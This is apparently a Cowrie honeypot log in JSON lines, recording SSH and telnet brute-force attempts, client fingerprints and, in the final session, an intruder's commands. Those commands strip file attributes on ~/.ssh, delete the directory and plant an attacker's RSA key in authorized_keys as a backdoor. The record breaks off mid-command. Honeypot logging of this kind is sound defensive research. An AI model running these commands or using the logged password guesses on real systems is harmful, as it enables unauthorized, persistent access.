{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:51:44.238931Z","src_ip":"2.57.122.208","session":"9164c7bcb721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:51:45.210842Z","src_ip":"2.57.122.208","session":"9164c7bcb721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:51:46.417867Z","src_ip":"2.57.122.208","session":"9164c7bcb721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48798,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd96036f039","protocol":"ssh","message":"New connection: 2.57.122.208:48798 (10.17.0.5:22) [session: 5fd96036f039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:53:59.713539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:53:59.737749Z","src_ip":"2.57.122.208","session":"5fd96036f039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:53:59.890850Z","src_ip":"2.57.122.208","session":"5fd96036f039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:54:00.634413Z","src_ip":"2.57.122.208","session":"5fd96036f039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:54:01.862388Z","src_ip":"2.57.122.208","session":"5fd96036f039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.91.248.119","src_port":60537,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7aec3294760","protocol":"telnet","message":"New connection: 222.91.248.119:60537 (159.203.135.109:23) [session: f7aec3294760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:54:20.255713Z"}
{"eventid":"cowrie.session.closed","duration":13.160812377929688,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:54:33.416384Z","src_ip":"222.91.248.119","session":"f7aec3294760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":45310,"dst_ip":"10.17.0.5","dst_port":22,"session":"7747ddff6095","protocol":"ssh","message":"New connection: 157.245.10.239:45310 (10.17.0.5:22) [session: 7747ddff6095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:55:20.826031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:55:20.830215Z","src_ip":"157.245.10.239","session":"7747ddff6095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:55:20.834146Z","src_ip":"157.245.10.239","session":"7747ddff6095","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dragon","message":"login attempt [root/dragon] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:55:20.843150Z","src_ip":"157.245.10.239","session":"7747ddff6095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:55:20.849576Z","src_ip":"157.245.10.239","session":"7747ddff6095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42694,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a45d92ef728","protocol":"ssh","message":"New connection: 2.57.122.208:42694 (10.17.0.5:22) [session: 1a45d92ef728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:13.250957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:13.268364Z","src_ip":"2.57.122.208","session":"1a45d92ef728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:13.364594Z","src_ip":"2.57.122.208","session":"1a45d92ef728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:13.923275Z","src_ip":"2.57.122.208","session":"1a45d92ef728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:15.154323Z","src_ip":"2.57.122.208","session":"1a45d92ef728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3772265f50fe","protocol":"ssh","message":"New connection: 2.57.121.112:27020 (10.17.0.5:22) [session: 3772265f50fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:23.584122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:23.588565Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:23.683313Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yxkck878","message":"login attempt [admin/yxkck878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:24.137281Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"YwVxPZ","message":"login attempt [admin/YwVxPZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:25.234930Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yfnecbr","message":"login attempt [admin/yfnecbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:26.336377Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yes90125","message":"login attempt [admin/yes90125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:27.434368Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yeager","message":"login attempt [admin/yeager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:28.532474Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:29.630754Z","src_ip":"2.57.121.112","session":"3772265f50fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.226.167.88","src_port":34204,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b1c44785661","protocol":"ssh","message":"New connection: 54.226.167.88:34204 (159.203.135.109:22) [session: 4b1c44785661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:53.845676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:56.740794Z","src_ip":"54.226.167.88","session":"4b1c44785661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:56:56.744546Z","src_ip":"54.226.167.88","session":"4b1c44785661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:57:05.402591Z","src_ip":"54.226.167.88","session":"4b1c44785661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.145.32","src_port":46568,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db7bfb326c9","protocol":"ssh","message":"New connection: 120.48.145.32:46568 (10.17.0.5:22) [session: 2db7bfb326c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:10.491947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:10.496750Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:10.747172Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qq.123","message":"login attempt [root/qq.123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:11.627204Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.107165Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.110155Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.113147Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.342388Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:58:12.825320Z","src_ip":"120.48.145.32","session":"2db7bfb326c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 